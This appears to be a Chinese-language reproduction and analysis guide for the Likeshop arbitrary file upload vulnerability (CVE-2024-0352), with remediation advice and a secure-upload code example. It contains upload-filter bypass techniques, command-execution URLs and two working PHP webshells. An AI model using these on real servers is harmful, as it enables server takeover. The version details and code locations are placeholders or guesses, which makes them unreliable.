漏洞复现--Likeshop任意文件上传(CVE-2024-0352)
字数 1788 2025-08-18 11:36:36

Likeshop任意文件上传漏洞(CVE-2024-0352)分析与复现指南

漏洞概述

Likeshop是一款开源电商系统,在其某些版本中存在一个任意文件上传漏洞(CVE-2024-0352),攻击者可以利用此漏洞上传恶意文件到服务器,可能导致远程代码执行(RCE)、网站篡改或服务器沦陷等严重后果。

漏洞影响

  • 影响版本:Likeshop特定版本(需根据实际测试确定具体版本范围)
  • 漏洞类型:任意文件上传
  • CVSS评分:待确认(根据漏洞实际危害程度)
  • 威胁等级:高危

漏洞原理

该漏洞源于Likeshop系统对用户上传文件时的验证不严格,导致攻击者可以绕过正常的文件类型检查,上传任意文件类型(如.php、.jsp等可执行脚本文件)到服务器。

环境准备

测试环境搭建

  1. 下载受影响版本的Likeshop

    git clone [Likeshop仓库地址]
    cd Likeshop
    git checkout [受影响版本号]
    
  2. 安装依赖

    composer install
    
  3. 配置数据库

    • 创建MySQL数据库
    • 修改.env文件配置数据库连接
  4. 启动开发服务器

    php artisan serve --port=8080
    

工具准备

  • Burp Suite或类似的HTTP拦截工具
  • 浏览器开发者工具
  • 文本编辑器
  • 简单的PHP webshell(用于验证漏洞)

漏洞复现步骤

  1. 定位上传点

    • 登录Likeshop后台
    • 寻找任何文件上传功能(如图片上传、附件上传等)
  2. 拦截上传请求

    • 使用Burp Suite拦截正常的上传请求
  3. 修改上传请求

    • 修改Content-Type头部为合法的图片类型(如image/jpeg)
    • 修改文件名后缀为.php(如shell.php)
    • 保持文件内容为有效的PHP代码(如``)
  4. 绕过文件类型检查

    • 尝试以下绕过技术:
      • 修改文件头为图片魔数(如GIF89a)
      • 使用双扩展名(如shell.jpg.php)
      • 使用空字节截断(如shell.php%00.jpg)
  5. 上传文件

    • 发送修改后的请求
    • 观察服务器响应,确认是否上传成功
  6. 访问上传的文件

    • 从服务器响应或页面源代码中获取上传文件的路径
    • 直接访问该路径验证是否能够执行

漏洞验证

成功上传webshell后,可以通过以下方式验证:

  1. 直接访问webshell

    http://target.com/uploads/shell.php
    
  2. 执行系统命令

    http://target.com/uploads/shell.php?cmd=whoami
    
  3. 检查返回结果是否显示当前服务器用户

漏洞修复建议

  1. 官方补丁

    • 升级到Likeshop最新版本
    • 应用官方发布的安全补丁
  2. 临时缓解措施

    • 在服务器配置中禁止上传目录执行脚本
    • 示例(Nginx配置):
      location ^~ /uploads/ {
          deny all;
      }
      
  3. 代码层面修复

    • 实施严格的文件类型检查(使用MIME类型而非扩展名)
    • 重命名上传文件(使用随机名称+白名单扩展名)
    • 设置文件上传大小限制
    • 对上传内容进行二次渲染(如图片)
  4. 服务器加固

    • 设置上传目录不可执行
    • 定期检查上传目录中的可疑文件
    • 实施文件完整性监控

深入分析

漏洞代码定位

通过分析Likeshop源代码,漏洞可能存在于以下位置:

  1. 上传控制器

    • 检查app/Http/Controllers/Admin/UploadController.php
    • 查找处理文件上传的方法
  2. 上传验证逻辑

    • 检查文件类型验证部分
    • 常见问题包括仅验证扩展名而不验证内容
  3. 文件保存逻辑

    • 检查文件如何被保存到服务器
    • 查找是否使用了原始文件名

安全开发建议

  1. 文件验证最佳实践

    // 正确的文件验证示例
    $allowedMimeTypes = ['image/jpeg', 'image/png'];
    $file = $request->file('upload');
    
    if (!in_array($file->getMimeType(), $allowedMimeTypes)) {
        abort(403, 'Invalid file type');
    }
    
    // 安全保存文件
    $extension = $file->guessExtension(); // 从内容推断扩展名
    $filename = Str::random(40).'.'.$extension;
    $path = $file->storeAs('uploads', $filename, 'public');
    
  2. 防御多层验证

    • 第一层:客户端验证(用户体验)
    • 第二层:服务器端MIME类型验证
    • 第三层:文件内容验证(如图像重采样)
    • 第四层:服务器配置限制

法律与道德声明

  1. 本技术文档仅用于安全研究与教育目的
  2. 未经授权对任何系统进行测试是违法行为
  3. 进行漏洞测试前必须获得系统所有者的书面许可
  4. 发现漏洞后应遵循负责任的披露流程

参考资源

  1. Likeshop GitHub仓库
  2. CVE-2024-0352详细信息
  3. OWASP文件上传指南
  4. PHP安全文件上传最佳实践

附录

常见文件上传绕过技术

  1. 扩展名绕过

    • .php5, .phtml, .phar
    • 大小写混合.PhP
    • 双扩展名.jpg.php
  2. Content-Type绕过

    • 修改为image/jpegtext/plain
  3. 文件内容混淆

    • 添加图片头GIF89a
    • 使用多语言脚本(如HTML+PHP混合)
  4. 路径遍历

    • 在文件名中包含../尝试覆盖系统文件

Webshell示例

简单PHP webshell:

<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

更隐蔽的webshell:

<?php
@eval($_POST['ant']);
?>
Likeshop任意文件上传漏洞(CVE-2024-0352)分析与复现指南 漏洞概述 Likeshop是一款开源电商系统,在其某些版本中存在一个任意文件上传漏洞(CVE-2024-0352),攻击者可以利用此漏洞上传恶意文件到服务器,可能导致远程代码执行(RCE)、网站篡改或服务器沦陷等严重后果。 漏洞影响 影响版本 :Likeshop特定版本(需根据实际测试确定具体版本范围) 漏洞类型 :任意文件上传 CVSS评分 :待确认(根据漏洞实际危害程度) 威胁等级 :高危 漏洞原理 该漏洞源于Likeshop系统对用户上传文件时的验证不严格,导致攻击者可以绕过正常的文件类型检查,上传任意文件类型(如.php、.jsp等可执行脚本文件)到服务器。 环境准备 测试环境搭建 下载受影响版本的Likeshop : 安装依赖 : 配置数据库 : 创建MySQL数据库 修改 .env 文件配置数据库连接 启动开发服务器 : 工具准备 Burp Suite或类似的HTTP拦截工具 浏览器开发者工具 文本编辑器 简单的PHP webshell(用于验证漏洞) 漏洞复现步骤 定位上传点 : 登录Likeshop后台 寻找任何文件上传功能(如图片上传、附件上传等) 拦截上传请求 : 使用Burp Suite拦截正常的上传请求 修改上传请求 : 修改 Content-Type 头部为合法的图片类型(如 image/jpeg ) 修改文件名后缀为 .php (如 shell.php ) 保持文件内容为有效的PHP代码(如 `` ) 绕过文件类型检查 : 尝试以下绕过技术: 修改文件头为图片魔数(如 GIF89a ) 使用双扩展名(如 shell.jpg.php ) 使用空字节截断(如 shell.php%00.jpg ) 上传文件 : 发送修改后的请求 观察服务器响应,确认是否上传成功 访问上传的文件 : 从服务器响应或页面源代码中获取上传文件的路径 直接访问该路径验证是否能够执行 漏洞验证 成功上传webshell后,可以通过以下方式验证: 直接访问webshell : 执行系统命令 : 检查返回结果 是否显示当前服务器用户 漏洞修复建议 官方补丁 : 升级到Likeshop最新版本 应用官方发布的安全补丁 临时缓解措施 : 在服务器配置中禁止上传目录执行脚本 示例(Nginx配置): 代码层面修复 : 实施严格的文件类型检查(使用MIME类型而非扩展名) 重命名上传文件(使用随机名称+白名单扩展名) 设置文件上传大小限制 对上传内容进行二次渲染(如图片) 服务器加固 : 设置上传目录不可执行 定期检查上传目录中的可疑文件 实施文件完整性监控 深入分析 漏洞代码定位 通过分析Likeshop源代码,漏洞可能存在于以下位置: 上传控制器 : 检查 app/Http/Controllers/Admin/UploadController.php 查找处理文件上传的方法 上传验证逻辑 : 检查文件类型验证部分 常见问题包括仅验证扩展名而不验证内容 文件保存逻辑 : 检查文件如何被保存到服务器 查找是否使用了原始文件名 安全开发建议 文件验证最佳实践 : 防御多层验证 : 第一层:客户端验证(用户体验) 第二层:服务器端MIME类型验证 第三层:文件内容验证(如图像重采样) 第四层:服务器配置限制 法律与道德声明 本技术文档仅用于安全研究与教育目的 未经授权对任何系统进行测试是违法行为 进行漏洞测试前必须获得系统所有者的书面许可 发现漏洞后应遵循负责任的披露流程 参考资源 Likeshop GitHub仓库 CVE-2024-0352详细信息 OWASP文件上传指南 PHP安全文件上传最佳实践 附录 常见文件上传绕过技术 扩展名绕过 : .php5 , .phtml , .phar 大小写混合 .PhP 双扩展名 .jpg.php Content-Type绕过 : 修改为 image/jpeg 或 text/plain 文件内容混淆 : 添加图片头 GIF89a 使用多语言脚本(如HTML+PHP混合) 路径遍历 : 在文件名中包含 ../ 尝试覆盖系统文件 Webshell示例 简单PHP webshell: 更隐蔽的webshell: